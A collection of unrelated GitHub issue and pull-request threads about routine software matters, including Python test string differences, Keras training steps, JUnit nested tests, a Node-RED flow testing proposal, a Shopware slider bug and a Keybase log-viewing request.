        return "Plan(pk={!r}, name={!r}, amount={!r}, currency={!r}, interval={!r}, interval_count={!r}, trial_period_days={!r}, stripe_id={!r})".format(
            self.pk,
            self.name,
            self.amount,
            self.currency,
            self.interval,
            self.interval_count,
            self.trial_period_days,
            self.stripe_id
        )

Amended and added basic tests.

Hit by string string differences in py2 and py3 on the tests.

How to handle this best?
AssertionError: "Plan(pk=None, name=u'My Plan', amount=Decimal('5'), currency=u'', interval=u'monthly', interval_count=1, trial_period_days=None, stripe_id=u'')" !=
               u"Plan(pk=None, name='My Plan', amount=Decimal('5'), currency='', interval='monthly', interval_count=1, trial_period_days=None, stripe_id='')"

This is really helpul while debugging btw!


query add publicPath?

I want to use the publicPath for the list

js: j.cdn.com.cn
img: i.cdn.com.cn
css: c.cdn.com.cn

    if (typeof query.publicPath === 'undefined') {
        return "module.exports = __webpack_public_path__ + " + JSON.stringify(url) + ";";
    } else {
        url = (query.publicPath || '') + url;
        return "module.exports = " + JSON.stringify(url) + ";";
    }

@coderwin Please provide more info about your current setup (webpack.config.js), but I'm uncertain if this is possible (multiple publicPath). Why not cdn.com.cn/js cdn.com.cn/css, cdn.com.cn/img ?

@michael-ciniawsky
Domain divergence，there are too many static resources(js/css/img)


Training Steps per Epoch Chapter 6.3

The training generator is set up with a batch size of 128, and when fitting the models, the code uses 500 steps per training epoch.
history = model.fit_generator(train_gen,
                              steps_per_epoch=500,
                              epochs=20,
                              validation_data=val_gen,
                              validation_steps=val_steps)

Doesn't this mean the model is only training on 128 * 500 = 64000 training data points rather than all 200000? For validation, the steps per validation epoch are set to val_steps where
# This is how many steps to draw from `val_gen`
# in order to see the whole validation set:
val_steps = (300000 - 200001 - lookback) // batch_size

I probably am misunderstanding some part of this example, but why are we not using all the training examples every epoch? It seems like we could define the number of training steps as
train_steps = (200000 - lookback) // batch_size

in order to use all the training points every epoch.

I would say that's an error in the notebook (also present in  code for R version, btw)
It is not exactly  training limited to 64000 data points but limited per epoch. This is, as samples are being shuffled all 200.000 training data points are selected randomly throughout different  epochs, with -many- repeated before others are randomly selected.
In practice this should make training unstable and reduce the capacity of the net to fit or deliberate overfit.
This is my understanding, wiser opinions will be welcome.

I have the same concern. Is it a mistake here?


feat: revert to short filename for TextLayout

JsonLayout can still log the full file path since it's mainly for machine read and it's easy to extract the filename during the process.
TextLayout is mainly for human reading so module name + filename should be enough and the full file path is noisy.

Partially revert https://github.com/fast/logforth/pull/26


Why we should avoid d_loss converge to zero?

when I reproduct this code on my own application, I can easily get d_loss with 0 and g_loss with 20.
 How could I fix this up, your any advices would be helpful, thinks!

Dear @Captainsean007 , It depends on many things. Please check and tune your hyper parameters, check each normalization step which you select in your datasets.  Also, you can select a lower learning rate  to move more precisely in your learning manifold when the ALOCC tries to do the optimization phases.

Dear @khalooei , thanks for your answers. I didn't do any pre-processing before feed data to graph(just resize it with the shape of (224,224,3)). I wonder that noise_data which is fed into G net is produced by input data add some gassain noises, if it's important with the variance of Gassain noises of different dataset. Thanks for your help again sincerely!

 Please do the data normalization step before feeding any things to neural networks. Therefore, in our case, please do it in the beginning steps of your dataset feeding and then feed them to the model. If you need any help, don't hesitate to contact me.

OK, a optimization phases problem. When you trained the network, you optimized G network twice to avoid d_loss equal to zero. Why is this work? And what is the network learned when d_loss is 0.

As we mentioned in our implementation and also paper, the optimization phases of this implementation are inherited from Deep convolution Generative Adversarial Network (DCGAN) implementation. When the d_loss is equal to zero, it shows that the D network overcomes G and the game tries to be finished with one winner and this is not good for learning the framework of GANs because we must try to implement the game theory problem in this problem. At this moment, If I remember, we inherit it from DCGAN which they mentioned that it could implement the game again better.  You can read the Generative Adversarial Network tutorial of Goodfellow ( @goodfeli ) in NIPS 2016 (https://arxiv.org/pdf/1701.00160.pdf) to learn more information about this approach. Also, you can follow the DCGAN implementation (https://carpedm20.github.io/faces) for more information about stabilizing the deep convolutional version of GANs. If you need any help, don't hesitate to contact me.

OK, thanks. Have a good day！

You're welcome. Have a good day too!


v0.0.32

Bump version to v0.0.32, which includes https://github.com/integrated-reasoning/KeyHippo/pull/24 (fix: pass headers instead of request to authenticate). Thank you @tomasfrancisco!

Codecov Report
All modified and coverable lines are covered by tests :white_check_mark:

Project coverage is 82.73%. Comparing base (43be6f9) to head (9be2727).

Additional details and impacted files
@@           Coverage Diff           @@
##             main      #25   +/-   ##
=======================================
  Coverage   82.73%   82.73%
=======================================
  Files           3        3
  Lines         388      388
  Branches       70       70
=======================================
  Hits          321      321
  Misses         67       67

:umbrella: View full report in Codecov by Sentry.
:loudspeaker: Have feedback on the report? Share it here.


Add instrument setting in qw5q json

Thanks @PiergiorgioButtarini! It works now with qibocal and qibolab main.


Fixed issues with @Nested tests and @Managed browsers

Factory declaration on class level was not available in @Nested classes
Class level Browsers were created multiple times

This change is

Current coverage is 92.92% (diff: 82.14%)

Merging #51 into releases/2.1.x will decrease coverage by 0.12%

@@           releases/2.1.x        #51   diff @@
================================================
  Files                 277        277
  Lines                3350       3362    +12
  Methods                 0          0
  Messages                0          0
  Branches              202        207     +5
================================================
+ Hits                 3117       3124     +7
- Misses                172        176     +4
- Partials               61         62     +1

Powered by Codecov. Last update a96b235...c1e32c0

Hm.. codecov has a point, there is at least one test missing ...

One missing case, I think, is a `@Nested` class containing a static managed browser field. Can't hurt to add that :)

Reviewed 2 of 2 files at r1.
Review status: all files reviewed at latest revision, all discussions resolved, some commit checks failed.

Comments from Reviewable

Added additional tests and found a new bug. When declaring tests like this:
public class SomeUiTest {
    @Nested
    class NestedTests {
        @Managed
        Browser instanceBrowser;
        @Test
        void someTest(){
            assertThat(instanceBrowser).isNotNull();
        }
    }
}

The instanceBrowser would never be initialized because the test class model was wrongly created. The simplest fix was to remove the model from the context. Now the model is created fresh for every (nested) class. The performance impact is minimal - any UI action will be 10 times more costly than always creating a new model could ever be.

"I think, is a @Nested class containing a static managed browser field. Can't hurt to add that :)"
This is not a valid usecase, since you can't have static fields within @Nested classes and @Nested classes can't be static.

Oh well, learned something new about junit: @Nested static classes are just ignored when running the surrounding test class. They can however be independently executed (at least in my version of IntelliJ, 2016.3.1). There will be nasty surprises when someone develops static @Nested classes and then the tests won't run during CI builds :-o

Reviewed 3 of 3 files at r2.
Review status: all files reviewed at latest revision, all discussions resolved.

Comments from Reviewable


the NOT_EMPTY validation not accept NEWLINE

Not works in edittext with multiline.

@fukhaos Thank you for reporting :+1:
But could you please be more specific - which input did you give for the multiline enabled EditText, and what do you expect (validation pass or fail)?  Thanks.

I type something like:
Lorem ipsum dolor sit met,
consectetur adipiscing elit.
and was validated like EMPTY.
I use this regex:
"^(\s|\S)(\S)+(\s|\S)$"
and works.

@fukhaos you are right.
RegexTemplate.NOT_EMPTY doesn't work for this case (multilines EditText), sorry that I haven't considered it at the beginning.
And I've tried your regex, it doesn't really work either :(
So I'll try to find a working one later.  Thanks.

@fukhaos finally I spent some time and got it work.
The perfect regex for that should be: (?m)^\\s*\\S+[\\s\\S]*$
Please check the commit and corresponding unit tests (all are passed):
NOT_EMPTY regex
UnitTest


Call function before logout?

Previous issues have dealt with login/logout callbacks, or controlling logouts via SSO or SAML.  I'm looking for the ability to call a function (specifically to change the agent's status to offline) before they are logged out.  I have handled this for agents closing the page while still logged in by changing their status onunload or onbeforeunload.  A logout callback, if it existed, would not work because they need to be logged in while their status is changed.  Is there any way we could create a connect.onLogout() or agent.onLogout() function?

A comment on another post about a login/logout callback led me to dig around in the Streams code.  I think I could hack into this and set the agent to offline before terminating.  Thoughts?

/**-------------------------------------------------------------------------
* Uninitialize Connect.
*/
connect.core.terminate = function() {
// PRE-LOGOUT FUNCTION HERE
connect.core.client = new connect.NullClient();
connect.core.masterClient = new connect.NullClient();
connect.core.eventBus = new connect.EventBus();
connect.core.initialized = false;
};

I managed to acheive this with the following javascript:
var bus = connect.core.getEventBus();
if (bus) bus.subscribe(connect.EventType.TERMINATED, ctx.ccpTerminating);
Where ctx.ccpTerminating is a function.
In your termination function you need to do this if you are going to attempt to re-login:
connect.core.initialized = false;
connect.agent.initialized = false;
You will of course then need to call initCCP again when you do try to login back in.


Draft Proposal of Flow Testing - Phase 1

Flow Testing - Phase 1
Summary
This feature allows a flow developer to create test cases for their flows that can be run within the editor or by a CLI tool.
Flow testing design has been discussed in this design note.  This discussion covers wide range of topics required to make flow testing for Node-RED but takes longer time to complete detailed design and implement all the features at once.
Thus, in this document, we define the minimum required functionality that the first flow tester implementation should support.  Other features discussed in the above design note will be added in following phases.
Authors

Hiroyasu Nishiyama
based on initial design note by following authors:

Kazuhito Yokoi

Yuma Matsuura

Brian Innes

Nick O'Leary

Hiroyasu Nishiyama

Requirements
In traditional programming there are many test frameworks and the functionality needed to property test code is quite well understood (visit Mocha to see the typical features offered by a Javascript test framework).  However, the use of test tools in low-code development environments is less well defined, but the need for a thorough testing capability still exists.

The testing function should be able to be run from within the Node-RED editor or from a command line, so Node-RED application testing can be run as part of an automated delivery pipeline
The tests should be created using low-code methods, similar to how applications are created using Node-RED.  Ideally creating test cases should not be a coding activity
There should be the ability to create a "test suite", containing multiple test scenarios rather than a single test
Test definitions/implementation should not alter a flow in any way that will impact the functionality or performance during normal running
Test artifacts and configuration should be able to be easily identified and removed from a flow when deploying to a resource constrained device, without impacting the flow.

Out of scope of this design

Command Line testing
This proposal does not include command line interface for flow testing.  This requires discussion on headless execution of flows and tools integration.

Single Node testing
This proposal does not cover single node unit tests as currently implemented by node developer with mocha and node-red-node-test-helper module.
But, with this proposal, we can treat "Single Node" as a flow consisting of one node.

SUBFLOW testing
Testing internal logic of SUBFLOW should also be possible from a unit
testing perspective.  However, the problem is that there is no
mechanism for executing the SUBFLOW template in current runtime.
So, this proposal do not address SUBFLOW internals testing.
Testing of SUBFLOW in the main flow should be done in the same way as
a normal node.

Dashboard testing
This design note do not cover testing UI and related flow of Node-RED dashboard.

Design
The rest of this document sets out the proposed design of the testing feature.
High Level Concept
This is an outline of the proposed testing approach within the Node-RED editor.

A user can define a set of named test suites that consist of individual test cases

Each test case can be configured with desired setup/cleanup phase:

setup - this phase is triggered when test starts.  This phase
can be used to setup environments for test execution.  For
example, preparing a data file used for

cleanup - this phase is triggered when test ends.  This phase
can be used to cleanup environments for test execution.

For each test case, every node can be configured with a desired behaviour. This will be split into three phases:

beforeNode - this phase is triggered when a node receives a message, but before the node is given the message. This phase can be used to validate the message arriving.  In this phase, the test can:

testNode - this phase, if defined, is used instead of the actual runtime node. This allows the node to be stubbed out, for example a node that writes to database or interacts with an external system.

afterNode - this phase is triggered whenever the node sends a message, but before the next nodes receive it. This phase can be used to validate the message(s) being sent by the node.

These phases are defined as events for the test components.  And each event defines a list of actions that are triggered by the event detection.  The following can be examples of actions.

wait - wait for specified time,

set - set message properties, environment variables or context values,

match - match message properties,

send - pass input message to output port,

recv - receive message from input port,

function - execute JavaScript code for complex preparation and checking,

With these phases and actions, a wide range of basic test scenarios will be possible.

the before/afterNode phases allow for checks at any point in the flow to ensure a message looks right

the testNode phase allows for nodes to be stubbed out with test-scenario specific behaviour

For flows that expose an API, such as HTTP In -> HTTP Response flows, there would be two different possible approaches to testing it:

the testNode phase of the HTTP In node to start the test, and the beforeNode of the HTTP Response node used to verify the result.
an entirely separate Test flow could be created with Inject -> HTTP Request with the testNode of the Inject node set to start the test, and the afterNode of the HTTP Request node used to verify the response.

Both would be valid approaches to writing the test - the main point is this design has the flexibility to support either style.

For flows that read a file, transform it, then write the output to a file.  The setup phase creates a file for input, the flow is executed with check by before/afterNode for each nodes, then the resulting file will be checked by cleanup phase.

Running the tests
Running each test case will require starting from a known clean state. For example, if a flow contains a Join node and a test case causes some but not all messages to be passed to it, the node will need to be completely reset before the next test case can start.
Testing tab in the sidebar
The testing tab is located in the sidebar of the flow editor.

Execute button: the button to start test cases

Scenario tree: The tree view consists of a scenario and nodes which have test cases. The tree view is automatically synchronized with settings on node properties. On the UI, users can see an overview of the settings and status of the test cases.
In scenario tree, test suites menage multiple test scenarios.

Following figure shows an example of proposed test sidebar.
New test suite and scenario can be added by +add button on tree view.

By pressing config button on a scenario, following settings panel is displayed.
In this settings panel, users can select test scenario and fill test setup and cleanup actions on each tab.

Timeout value or other configuration options may be provided in special configuration tab.
Flow testing UI for nodes
When flow testing is enabled, new Test tab will be added to settings panel of each nodes.
In this settings panel, user can select test scenario and fill receive, stub, and send  actions on each tab.

Test Events & Actions
Test events are defined for test case and test target nodes. List of actions are defined for defined the test events.
Following are test events and test actions proposed as initial phase of flow testing implementation.  These will be extended by the following phases to support wider aspect of flow testing.
Test Events

Test case events - following events are defined for test case:

setup: executed at start of the test case,

cleanup: executed at end of the test case,

Node events - following events are defined for each node:

receive: executed at receive of incoming message by the node,

stub: executed after receive event instead of message processing of the node,

send: executed after sending message from the node to output port.

Test Actions

Common actions

wait - wait for specified time,

function - write complex testing using JavaScript code.  JavaScript code in this action will be executed in vm environment and provide support of special functions that supports flow testing.

Test case actions

set - set context or environment variables.

Node actions

match - match message property with specified value, or expression,

set - set message property or context,

send - send message to output port,

recv - receive message from input port.

Flow data

The test configurations are included in the main flow file. Therefore, there is no need to change the Storage API in the first implementation.
Export dialogue will have a checkbox to indicate whether to delete the test information.

Flag to enable flow testing
There are following variety to enable flow testing to make Node-RED run in test mode.

Flag in an environment variable

Flag in settings.js

command line option

Implementation
Flow testing feature will be provided as an addon to Node-RED using plugin interface.
History

2020-06-28 - Initial proposal

Break down required work for implementing flow testing plugin
The following is a list of items that are expected to be required for implementing flow tester.
Please let me know if there are other items that must be added or changes on items.

UI

Sidebar UI

manage list of test cases

execute tests

display results & some logging info

Settings UI for Settings & Cleanup

manage actions list for test case events

manage configurable options

Settings UI for All Nodes in Workspace

manage actions list for test case events

Plugin mechanism for #2

need a way to add new tab for settings menu of each workspace node

Action List edit UI for #1 and #2

actions list edit interface

Runtime

Execution mechanism of test actions

send a message to/from a node

receive a message to/from a node

stub execution

setting context/message/env values

catching errors & timeout

Editor API

run test (Editor->Runtime)

notify test result (Runtime->Editor)

Scheme for saving testing information

new config nodes for holding test informationså

Clearing runtime state of Node-RED
(may be not needed in phase 1)


Inaccurate timestamps in AdminRequestHandler logs

Excerpt of logging output showing AdminRequestHandler's "Request received: ..." logs with out-of-sequence timestamps alongside other logs with in-sequence timestamps.
2017-01-20T15:48:55.038Z
2017-01-20T15:48:55.039Z
2017-01-20T15:48:55.041Z
2017-01-20 10:48:55.46 Request received:
2017-01-20 10:48:55.113 Request received:
2017-01-20T15:48:55.117Z
2017-01-20 10:48:55.143 Request received:

It's as if the .46 in the first "Request received: ..." log should be .046.  This appears consistent with the implementation.  When AdminRequestHandler logs using the com.github.tomakehurst.wiremock.common.ConsoleNotifier, it does so using new SimpleDateFormat("yyyy-MM-dd HH:mm:ss.S") to format the current Date. According to https://docs.oracle.com/javase/8/docs/api/java/text/SimpleDateFormat.html,

For [Number] formatting, the number of pattern letters is the minimum number of digits, and shorter numbers are zero-padded to this amount. For parsing, the number of pattern letters is ignored unless it's needed to separate two adjacent fields.

This leads me to believe the format string used should be "yyyy-MM-dd HH:mm:ss.SSS". (two more S chars).
Here's a failing jUnit test:
    @Test
    public void format_returnsStringWithCorrectMillisPart() throws Exception {
        DateFormat df = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss.S");
        long timeEndingIn004 = Instant.now().getEpochSecond() * 1000 + 4;

        String formattedDate = df.format(new Date(timeEndingIn004));

        String formattedMillisPart = formattedDate.substring(formattedDate.lastIndexOf(".") + 1);
        assertEquals("004", formattedMillisPart);
    }

Fails with org.junit.ComparisonFailure: expected:<[00]4> but was:<[]4>. After appending two "S" to the format string, the test passes.

Yep, agree. I'll switch to the format you've suggested.


[actions] Remove broken hyphen check.

Summary: Removes hyphen check from the filename linter. We can add it back in later, but it currently fails on any changes to source files, so removing it for now.
Type of change: /kind bug
Test Plan: Tested that the hyphen check currently fails on source files.
Signed-off-by: James Bartlett<EMAIL_ADDRESS>

@pixie-labs-buildbot , test this please.


chore: add custom-timeout example

Types of changes

[x] Chore (a non-breaking change which is related to package maintenance)
[ ] Bug fix (a non-breaking change which fixes an issue)
[ ] New feature (a non-breaking change which adds functionality)
[ ] Breaking change (fix or feature that would cause existing functionality to change)

Description
This PR adds an example demonstrating how to add a custom request timeout duration. It implements it using an AbortController and setTimeout().
See: #129
Checklist:

[ ] My change requires an update to the official documentation.
[ ] All TSDoc comments are up-to-date and new ones have been added where necessary.
[x] All new and existing tests are passing.

🐢

Looks good to me, since fetch implementation can now be provided it's now the duty of the fetch implementation to handle any kind of timeout.
Moving forward with it 🚀


Remove StartsWith, EndsWith, Contains translator for 2.0

Relational currently contains 3 query translators that provide incorrect results - since they are implemented with SQL LIKE and don't escape, % and _ are treated as wildcards and not as literals (#474). These emit warnings about the possibly incorrect results.
2.0 seems like the right version to remove these, forcing providers to write their own, correct translators.

@roji feel free to send a PR if you just want to do this 😄


.NET Framework 4.x apps on Windows 10 on ARM/ARM64

Can you clarify if it is possible to develop and distribute .NET Framework 4.x apps to Windows 10 on ARM devices (like Surface Pro X) via Windows Store?
I have a .NET 4.x-based app packaged with Desktop Bridge with Architecture: Neutral (.NET AnyCPU). However, it is not showing up in the Store on Surface Pro X.
Is there anything special, that needs to be set for it to show up, or is this scenario unsupported?

Document Details
⚠ Do not edit this section. It is required for docs.microsoft.com ➟ GitHub issue linking.

ID: 5c920a34-495e-ae99-365a-f6bc0afa2052
Version Independent ID: 1e3c088d-3ca5-7f26-b1f6-23d9c97918e7
Content: Windows 10 on ARM - UWP applications
Content Source: windows-apps-src/porting/apps-on-arm.md
Product: uwp
Technology: porting-apps
GitHub Login: @hickeys
Microsoft Alias: hickeys

Thanks for taking the time to let us know about this. It seems your Issue leans more towards a product question rather than specific documentation fixes.
May I suggest that you direct your question over at Microsoft Q&A? The community of experts and Microsoft engineers can provide timely answers to your technical questions. If you do create a thread over at Microsoft Q&A, it would be fantastic if you could share that link here so I can track the progress and potentially incorporate the technical details into our documentation.
Though I'm marking this Issue as closed now, please treat this thread as an open thread for follow-ups. Thanks!


xnxti with HW- and SW-vectored interrupts

With the latest change around xnxti, I am not sure how things are still supposed to work.
It is noted, that SHV and non-SHV ISRs might have a different SW interface, but this only discusses the differences in saved registers.
There are more differences, which make things incompatible in my opinion

vectored handles return with xret. xnxti initiated handlers have been jal-ed to and need to return with j, not an xret. Jumping with jal into a vectored handler and then return with an xret will crash your program.
the trampolines go into the handlers with interrupts enabled. vectored handlers rely on interrupts being disabled when you jump into them

I can't see the argument behind checking xcause.xpil as working. This code would be in the critical path of a vectored interrupt handler, and thus not using xnxti would be faster. It could be sped up with a special instruction (or again a special CSR read), but for now, it really doesn't seem useful for SHV.
To avoid such unclarities, there should be an example on the handlers using xnxti including SHV and non-SHV handlers.
Right now, I do not see this working when hardware vectoring is selective.

closed by #384.  #370 merge taken out.  #370 pull broke SW interrupt handler interface.


Content: CI/CD, Release Pipelines - Getting Started with kapp-controller

Summary of content
This guide will walk you through the basics of kapp-controller and help you get started with it.
Summary of audiences
Developers looking for an efficient and effective way to template and deploy applications onto Kubernetes
Level of content
Level of content as it pertains to the topic proposed. Delete those not applicable.

101: "Awareness / Exploration"

Contributor Checklist

[x] I have added a card to the GitHub Content Backlog and/or moved it to the proper column. See Content Prewriting and Ideation
[x] If contributing via Google Docs: I have added a link to my document to this issue, and set the document's Share settings to "Anyone on the internet with this link can comment".
[x] My content is drafted in accordance with existing style guides and best practices. See Drafting Content
[x] The front matter (metadata) is filled out completely (e.g. description, topics, tags, author, etc - as appropriate for the content type). See Drafting Content
[x] My content has been reviewed by my team for technical accuracy. See Editing Content
[x] My content has beed reviewed and edited by a copy editor. See Editing Content
[x] If applicable: My content has gone through a legal review (VMware Employees Only). See Editing Content
[x] If applicable: I have tested my content locally and everything passes. See Testing Content
[ ] Optional: I have filled out the Social Media request form (optional) (VMware Employees Only). See Next Steps
[x] If applicable: I have created an author page and opened a pull request to get it added. See Next Steps

Reviewer Checklist

[ ] Review if the content is a good fit for the Tanzu Developer Center. See Content Prewriting and Ideation
[ ] There this GitHub issue has been added to the content backlog project
[ ] Ensure with the author that the content has been reviewed for technical accuracy.
[ ] Ensure with the author that the content has been through copy editing.
[ ] If applicable: Ensure with the author that the content has been through Legal review.
[ ] Review fit with the Tanzu Developer Center Style Guide and the VMware Style Guide (VMware Employees Only).
[ ] Ensure the front matter is filled out correctly and completely.
[ ] If applicable: Review additions to custom_dict.txt.
[ ] Ensure with the author they have reviewed the staging site for correctness. The reviewer should review this too.
[ ] If applicable: Review any new Team pages.
[ ] Optional: Ensure the author has provided copy for Social Media distribution.\
[ ] If contributing via Google Docs: Send the staging link to the author to review. The reviewer should review this too. Get the final 👍 from the author to push the content public.

Live link: https://tanzu.vmware.com/developer/guides/kapp-controller-gs/


Fix typo in durable functions overview

Hello !
Fixed that for you :sparkling_heart:
Peace !

@SiegfriedEhret : Thanks for your contribution! The author, @cgillum, has been notified to review your proposed change.

#sign-off


Why don't layers' build() methods set weights to _initial_weights if available?

Layer's _initial_weights are only used if the layer is built by Layer.__call__(). Why not do the following in the build() methods, so the weights passed to the constructor are actually used regardless of when it is built?
if self._initial_weights is not None:
    self.set_weights(self._initial_weights)

This arises, because for example if I use a TimeDistributed Embedding with pretrained weights, the weights aren't actually used:
time_distributed = TimeDistributed(
    Embedding(
        VOCAB_SIZE,
        EMBEDDING_DIM,
        weights=[WEIGHTS]),
    input_shape=SHAPE))

It only works if the weights are passed to TimeDistributed instead of Embedding, which doesn't seem ideal:
time_distributed = TimeDistributed(
    Embedding(
        VOCAB_SIZE,
        EMBEDDING_DIM),
    input_shape=SHAPE,,
    weights=[WEIGHTS]))

The reason is simply that we expect the weights argument to always work, even if support for it isn't implemented by the authors of the layer considered (authors of custom layers will be implementing their own build methods, and they don't need to know about _initial_weights).
Passing the weights argument to top-level layers when using a wrapper is the proper thing to do, as you point out.

What I'm proposing is using weights if given. How does that impede the weights argument from working?
Passing to the wrapper's weights is the way to get the job done right now, but is it really more intuitive than passing the weights to the layer that's actually using them?

If this has to be implemented in build, then it wouldn't work for custom layers (unless custom layers also take care of implementing it). As it stand currently, it will work all the time without requiring extra work for custom layers.

Ok, so maybe it doesn't happen in the build method, but how about setting the initial weights (if given) in the other places where the layer gets built, instead of only if that happens in \_\_call__?
Currently, if someone means to use pretrained weights in the example above, but - unaware of this issue - passes them to Embedding instead of to TimeDistributed, those weights are silently ignored.


OSO Greenpill podcast episode

Currently in the process of being scheduled

Still scheduling, started a doc here
https://docs.google.com/document/d/1DbhnOxOcvDsWP9-P4ucWihxG9JClbZyzC4lZkH9zIIU/edit

Finished today


When clicking on products in the product slider, the slider scrolls a few steps further and doesn't follow the URL

PHP Version: 8.2   | Shopware Version: <IP_ADDRESS>  | Affected area / extension: Platform(Default)

Expected behaviour:
The product slider should open the product on click and only slide further when hitting the navigation arrows.
Actual behaviour:
The slider scrolls through the products, when clicking on an entry.
How to reproduce:
Add a product slider to the shop. Assign a dynamic product group. Load the page and click on a product.

[public] Shopware automated response: This issue is linked to the internal issue: NEXT-38186
[created from NEXT-38186, comment 492794]

I can reproduce the bug. Sliders are not working since the lastest Update.

Doesn't slide after a click on the first element, happens on the others

I can reproduce the bug.

I'm a little relieved that it's a bug. I spent some time trying to fix the bug, only to find out that it's a Shopware bug ;-)
I hope someone is working on it and it will be fixed soon. Let me know if we can help in any way.

This appears to be fixed in <IP_ADDRESS> 🥳


Pending tasks for first version

[x] Add Credo and Dialyxir
[ ] Remove NimbleParsec dependency
[ ] Add GH actions pipeline for CI checks
[ ] Write docs:

[ ] Modules
[ ] Functions
[ ] Add type specs, types and typedocs
[x] Canonical tests patches
[x] Mix tasks
[ ] README

[ ] Generate docs with ex_docs

https://hex.pm/docs/publish


get a warning 404 on loading map

DevTools failed to load SourceMap: Could not load content for https://p5livemedia.itp.io/socket.io.js.map: HTTP error: status code 404, net::ERR_HTTP_RESPONSE_CODE_FAILURE

The socket.io.js.map isn't required in this distribution.


Refactor backend

Refactor backend functionalities to use fsspec. The obstore package was kept for certain functionalities as it has integrated pagination, so it is still used to list the contents given a path, retrieve contents of a file and get the presigned link of an object, while the fsspec package is used for creating, saving, renaming, copying and deleting.
As a workaround for dealing with directories, they are created as objects having a key which ends with the suffix /.jupyter-drives-fixDir. This way they will be hidden inside the DrivesFileBrowser, but users can still create, rename, copy and delete directorie.

Thank you for the review!


exportedProductsNoTracking triggers compilation

[X ] I've read the CONTRIBUTING guidelines

steps
sbt clean
sbt 'show exportedProductsNoTracking'

problem
I guess I miss something, but the above steps trigger compilation despite the description of exportedProductsNoTracking:
taskKey[Classpath]("Just the exported classpath without triggering the compilation.").withRank(CTask)

expectation
Just the exported classpath without triggering the compilation.
notes
sbt version: 1.1.4

See https://www.scala-sbt.org/0.13/docs/sbt-0.13-Tech-Previews.html#Inter-project+dependency+tracking for the documentation on inter-project dependency tracking.


add remote image support for ImageSVG component

Description
why
https://developer.mozilla.org/en-US/docs/Web/SVG/Element/image
The  SVG element includes images inside SVG documents. It can display raster image files or other SVG files.
usage
import React from "react";
import { Canvas, ImageSVG, Skia } from "@shopify/react-native-skia";

const svg = Skia.SVG.MakeFromString(
  `<svg viewBox='0 0 290 500' xmlns='http://www.w3.org/2000/svg'>
    <image href="https://yari-demos.prod.mdn.mozit.cloud/en-US/docs/Web/SVG/Element/image/mdn_logo_only_color.png" height="200" width="200"></image>
    <circle cx='31' cy='325' r='120px' fill='#c02aaa'/>
  </svg>`
)!;

export const SVG = () => {
  return (
    <Canvas style={{ flex: 1 }}>
      <ImageSVG
        svg={svg}
        x={0}
        y={0}
        width={290}
        height={500}
      />
    </Canvas>
  );
};

That is not something we plan to support. However can you tell more about your use-case? We might be able to help there. For instance, the example above could easily be rewritten in a way that would immediately work with Skia and where you would have full control over the image loading.
I am closing this feature request since it is not in our current project scope but we would love to understand your use-case better and see how we can support it best.


WimgApi.CopyFile using a callback

WimgApi.CopyFile using a callback fails with following exception:
Error copying WIM file to O:\ : System.OverflowException: TimeSpan overflowed because the duration is too long.
   at System.TimeSpan.Interval(Double value, Int32 scale)
   at Microsoft.Wim.CopyFileProgress.CopyProgressHandler(UInt64 totalFileSize, UInt64 totalBytesTransferred, UInt64 streamSize, UInt64 streamBytesTransferred, UInt32 streamNumber, UInt32 callbackReason, IntPtr sourceFile, IntPtr destinationFile, IntPtr data)
   at Microsoft.Wim.WimgApi.NativeMethods.WIMCopyFile(String pszExistingFileName, String pszNewFileName, CopyProgressRoutine pProgressRoutine, IntPtr pvData, Boolean& pbCancel, UInt32 dwCopyFlags)
   at Microsoft.Wim.WimgApi.CopyFile(String sourceFile, String destinationFile, WimCopyFileOptions options, CopyFileProgressCallback copyFileProgressCallback, Object userData)
   at StickCreatorGui.MainWindow.CopyWimToDirectory() in C:\xxxxx

Thanks for reporting this, it looks like a behavior change in the WIMGAPI.  I was able to repro it and will send a pull request to fix it.

will you update the gunet package as well?

Yes, I was waiting until https://github.com/josemesona/ManagedWimgApi/pull/23 was done and then I'll push a new package

The fix is available in 1.2.3: https://www.nuget.org/packages/Microsoft.Wim/1.2.3


How to finetune with ANCE?

Hellow,
Is that the code publiced in code is for finetuning the model by dpr? Where can i find the code for finetuning with ANCE?
And there's another question that confused me. Is that the code in code is used to distill the retriever with a teacher model,the reault corresponding to (0.416/0.709/0.927/0.988)

Thanks for your interest in RetroMAE!
We fine-tune the model with hard negatives by changing the argument neg_file (noted we don't change the hard negatives dynamically in the training process like the original ANCE). You can use our provided hard_negs.txt to reproduce the results or generate new hard negatives following our commands.
The cross-encoder example will fine-tune a teacher model, whose prediction scores will be used in distillation. To distill the retriever, you need to generate the teacher_score_files by cross-encoder and add the argument to the training command in the bi_encoder example.

Thank you for your reply!
I tried to finetune the ANCE model (using the hard_negs.txt on Shitao/RetroMAE_MSMARCO),but the results is lower than the reported one. Do you finetune the ANCE model on the  Shitao/RetroMAE_MSMARCO) or on the model finetuned by DPR? I trained the model with batch_size 32 epoch 8 as mentioned in paper (but the batch_size and epoch in the script is 16 and 4, I'm not sure which group of parameter is used in finetuning)

For ANCE, we finetune the Shitao/RetroMAE_MSMARCO model. Please use the hyper-parameters in our script, which we found is better.

Thank you. I will try again


Feature request: "keybase log view" to show logs

I know keybase log send is a well known way to have the logs sent to the Keybase team. However, it took me a minute to figure out where I can see the logs as a user.
The first place I checked was keybase help log, only to find out that send is the only available subcommand.
Then I checked /var/log and was disappointed to find no keybase logs there.
What happened then was @reub's attached console output in #8894 tipped me off that keybase has plist files in ~/Library/LaunchAgents and those files happen to contain explicit references to their respective logs situated in ~/Library/Logs.
So now I'm enjoying the magnificently detailed chronicles of the operation of the keybase components which currently have the privilege of taking part in the runtime of my system:
$ ls -l ~/Library/Logs/keybase*
-rw-------  1 specious  staff   51646090 Dec 22 17:38 /Users/specious/Library/Logs/keybase.kbfs.log
-rw-------  1 specious  staff    7578670 Dec 22 17:25 /Users/specious/Library/Logs/keybase.service.log
-rw-------  1 specious  staff  134217923 Dec 22 12:55 /Users/specious/Library/Logs/keybase.service.log-20171222T125345-0500-20171222T125547-0500
-rw-r--r--  1 specious  staff          0 Nov  3 17:29 /Users/specious/Library/Logs/keybase.start.log
-rw-r--r--  1 specious  staff     885211 Dec 22 16:53 /Users/specious/Library/Logs/keybase.updater.log

Still curious if the desktop GUI and the CLI utility keep their own logs in a different location, or if the service daemon is responsible for logging everything on their behalf...
Now, I'm not saying I'm the smartest keybase user or that I'm certain that information about where to look isn't posted somewhere obvious that I didn't check.  However, my understanding is that Keybase's mission is to assure users of the software's transparency, so I'd like to float the idea of including a subcommand in the keybase log function such as show or view that will allow users to easily retrieve the logs without having to figure out where they are stored on their system.
